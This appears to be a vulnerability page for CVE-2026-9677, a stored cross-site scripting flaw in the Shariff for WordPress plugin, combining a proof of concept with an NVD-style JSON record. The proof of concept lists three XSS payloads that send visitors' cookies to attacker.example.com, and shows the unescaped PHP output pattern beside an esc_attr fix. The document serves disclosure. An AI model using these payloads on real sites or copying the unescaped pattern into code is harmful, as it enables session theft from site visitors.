CVE-2026-9677

<!-- PoC for CVE-2026-9677: Stored XSS in Shariff for WordPress plugin Vulnerability: The shariff_infourl setting is not sanitized/escaped before being output in frontend HTML via generateshariff() function. --> <!-- Step 1: Attacker (with admin privileges) navigates to WordPress admin panel --> <!-- Step 2: Go to Shariff plugin settings page --> <!-- Step 3: Inject malicious payload into the "shariff_infourl" field --> <!-- Malicious payload to inject in shariff_infourl setting: --> <script>alert('XSS-CVE-2026-9677');document.location='https://attacker.example.com/steal?c='+document.cookie;</script> <!-- Alternative payloads: --> <img src=x onerror="fetch('https://attacker.example.com/log?data='+document.cookie)"> <svg onload="var i=new Image();i.src='https://attacker.example.com/x?'+document.cookie;"> <!-- Step 4: Save the settings - payload is now stored in wp_options table --> <!-- Step 5: When any visitor loads a page containing Shariff buttons, --> <!-- the malicious script executes in their browser context --> <?php // Example of vulnerable code pattern (simplified): // In the plugin's generateshariff() function: function generateshariff() { $infourl = get_option('shariff_infourl'); // Retrieved from DB without sanitization // VULNERABLE: Direct output without escaping echo '<div class="shariff" data-info-url="' . $infourl . '"></div>'; } // FIXED VERSION should use esc_attr(): function generateshariff() { $infourl = get_option('shariff_infourl'); echo '<div class="shariff" data-info-url="' . esc_attr($infourl) . '"></div>'; } ?>

{"cve": {"id": "CVE-2026-9677", "sourceIdentifier": "[email protected]", "published": "2026-06-27T06:16:34.783", "lastModified": "2026-06-29T14:16:59.450", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Shariff for WordPress Shariff for WordPress plugin through 1.0.11 does not sanitize or escape the shariff_infourl setting before outputting it in the frontend HTML via the generateshariff() function, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unknown", "product": "Shariff for WordPress", "defaultStatus": "unknown", "versions": [{"version": "0", "lessThanOrEqual": "1.0.11", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-29T12:44:17.256700Z", "id": "CVE-2026-9677", "options": [{"exploitation": "poc"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "references": [{"url": "https://wpscan.com/vulnerability/c40298d0-42c2-406c-817a-9bbf246bbeea/", "source": "[email protected]"}]}}